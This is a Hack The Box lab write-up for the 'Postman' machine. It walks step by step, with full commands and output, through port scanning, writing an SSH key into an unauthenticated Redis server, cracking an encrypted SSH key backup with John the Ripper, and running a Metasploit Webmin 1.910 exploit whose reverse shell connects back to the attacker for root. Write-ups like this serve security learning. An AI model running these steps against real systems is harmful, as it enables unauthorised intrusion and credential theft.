Postman - Hack The Box

November 8, 2019

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nmap -Pn -sC -sV -n postman.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek’s Personal Website 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-title: Site doesn’t have a title (text/html; Charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap -Pn -sV -n -p- postman.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd)

nmap -Pn -sV -n -sU postman.htb PORT STATE SERVICE VERSION 10000/udp open webmin (https on TCP port 10000)

Enumerate port 80/10000 with dirb and nikto loot: .. http://postman.htb/css/ .. http://postman.htb/fonts/ .. http://postman.htb/images/ .. http://postman.htb/js/ .. http://postman.htb/upload/ .. https://postman.htb:10000/
Redis on port 6379 seems to be unauthenticated, we can reach it using redic-cli -h postman.htb This can be exploited to give us a reverse shell uploading our public key to authorized_keys. We can either do this manually, or automatically with the script redis.py (https://github.com/Avinash-acid/Redis-Server-Exploit)

— MANUALLY — root@p3:/opt/htb/machines/postman# ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): postman-id_rsa Enter passphrase (empty for no passphrase): (blank) Enter same passphrase again: (blank) Your identification has been saved in postman-id_rsa. Your public key has been saved in postman-id_rsa.pub. The key fingerprint is: SHA256:JNjykISF8kNnxmrqE9LuEAruVeV7AKpiSIKJJZrWhCw root@p3 The key’s randomart image is: +—[RSA 3072]—-+ | =o | |o =.=+ | |E.=.o.. | |==B .++o | |X* + ..oS | |@oo . o | |B=.. . . | |++o . | | oo | +—-[SHA256]—–+

root@p3:/opt/htb/machines/postman# (echo -e “\n\n”; cat postman-id_rsa.pub; echo -e “\n\n”) > postman-pub.txt

root@p3:/opt/htb/machines/postman# cat postman-pub.txt | redis-cli -h postman.htb -x set p3-key OK

root@p3:/opt/htb/machines/postman# redis-cli -h postman.htb postman.htb:6379> config set dir /var/lib/redis/.ssh OK postman.htb:6379> config get dir 1) “dir” 2) “/var/lib/redis/.ssh” postman.htb:6379> keys * 1) “cracklist” 2) “p3-key” postman.htb:6379> config set dbfilename “authorized_keys” OK postman.htb:6379> save OK

root@p3:/opt/htb/machines/postman# ssh redis@postman.htb -i postman-id_rsa Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
```
* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage


* Canonical Livepatch is available for installation.
  - Reduce system reboots and improve kernel security. Activate at:
    https://ubuntu.com/livepatch    Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
```
Last login: Fri Nov 8 10:14:53 2019 from 10.10.14.39 redis@Postman:~$ id uid=107(redis) gid=114(redis) groups=114(redis)

— AUTOMATICALLY — SYNTAX: python redis.py root@p3:/opt/htb/machines/postman# python redis.py postman.htb redis *******************************************************************
- [+] [Exploit] Exploiting misconfigured REDIS SERVER*
- [+] AVINASH KUMAR THAPA aka “-Acid” ***********************
SSH Keys Need to be Generated Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /opt/htb/machines/postman/id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /opt/htb/machines/postman/id_rsa. Your public key has been saved in /opt/htb/machines/postman/id_rsa.pub. The key fingerprint is: SHA256:3g7innFErBgyZ0Gyddm3m2KtlZ691TebaXAnProOcE8 acid_creative The key’s randomart image is: +—[RSA 3072]—-+ | ..+ .o | | + o… . | | + + o. . | | = o o . | | . . S..+E | | oo+o ..o.| | o.+=oo..+o+| | . =.oo…o.| | .+ ..=+.= | +—-[SHA256]—–+ Keys Generated Successfully OK OK OK (error) ERR Changing directory: Permission denied OK OK You’ll get shell in sometime..Thanks for your patience Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
```
* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage


* Canonical Livepatch is available for installation.
  - Reduce system reboots and improve kernel security. Activate at:
    https://ubuntu.com/livepatch    Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
```
Last login: Fri Nov 8 10:19:49 2019 from 10.10.14.10 redis@Postman:~$
Enumerating the box as user ‘redis’ shows us that user.txt is in the /home/Matt/, unfortunatley we don’t have permissions. Snooping around further I found .bash_history in /var/lib/redis - within I can see commands to “id_rsa.bak”. Search to for file using find: redis@Postman:~$ find / -name “id_rsa*” /opt/id_rsa.bak

Looking at the file we can see that it is a .pem-file with des3 encryption and salt 73E9CEFBCCF5287C. To crack it we need to convert it, do it using sshng2john. root@p3:/usr/share/john# ./sshng2john.py /opt/htb/machines/postman/id_rsa.bak > /opt/htb/machines/postman/crack.txt root@p3:/opt/htb/machines/postman# john –wordlist=/usr/share/wordlists/rockyou.txt crack.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 12 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press ‘q’ or Ctrl-C to abort, almost any other key for status computer2008 (/opt/htb/machines/postman/id_rsa.bak) 1g 0:00:00:03 DONE (2019-11-08 13:14) 0.2666g/s 3824Kp/s 3824Kc/s 3824KC/s 0125457423 ..*7¡Vamos! Session completed
We now have the creds for what I assume is user Matt, trying to SSH with the private key and found password (computer2008) is not working however.

root@p3:/opt/htb/machines/postman# ssh matt@postman.htb -i id_rsa.bak Enter passphrase for key ‘id_rsa.bak’: computer2008 Connection closed by 10.10.10.160 port 22

Looking at the sshd_config I noticed that user Matt is blocked for SSH. redis@Postman:~$ cat /etc/ssh/sshd_config # $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $ .. #deny users DenyUsers Matt ..

Escalating from user redis to Matt internally however works just fine - grab user.txt redis@Postman:~$ su Matt Password: Matt@Postman:/var/lib/redis$ cat /home/Matt/user.txt 517a**********

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With Matt’s creds (Matt:computer2008) we are now able to login to the webmin page - https://postman.htb:10000/ Googling for Webmin 1.910 exploit shows that there are a RCE exploit using Metasploit. Use this exploit to get root.txt

NOTE: I you get “[-] Exploit aborted due to failure: unknown: Failed to retrieve session cookie” when trying to use the exploit it’s most likely a server-side error. Rebooting the box solved the error for me.

msf5 > use exploit/linux/http/webmin_packageup_rce msf5 exploit(linux/http/webmin_packageup_rce) > options

Module options (exploit/linux/http/webmin_packageup_rce):

Name Current Setting Required Description —- ————— ——– ———– PASSWORD computer2008 yes Webmin Password Proxies no A proxy chain of format type:host:port[,type:host:port][…] RHOSTS postman.htb yes The target host(s), range CIDR identifier, or hosts file with syntax ‘file:' RPORT 10000 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base path for Webmin application USERNAME Matt yes Webmin Username VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse_perl):

Name Current Setting Required Description —- ————— ——– ———– LHOST 10.10.14.10 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port

Exploit target:

Id Name – —- 0 Webmin <= 1.910

msf5 exploit(linux/http/webmin_packageup_rce) > run

[] Started reverse TCP handler on 10.10.14.10:4444 [+] Session cookie: 501d3e007ae09b5c7b9e1bcbc8009649 [] Attempting to execute the payload… [*] Command shell session 1 opened (10.10.14.10:4444 -> 10.10.10.160:40192) at 2019-11-08 15:08:01 +0100

whoami root cat /root/root.txt a257**********

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REDIS https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html

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Postman - Hack The Box

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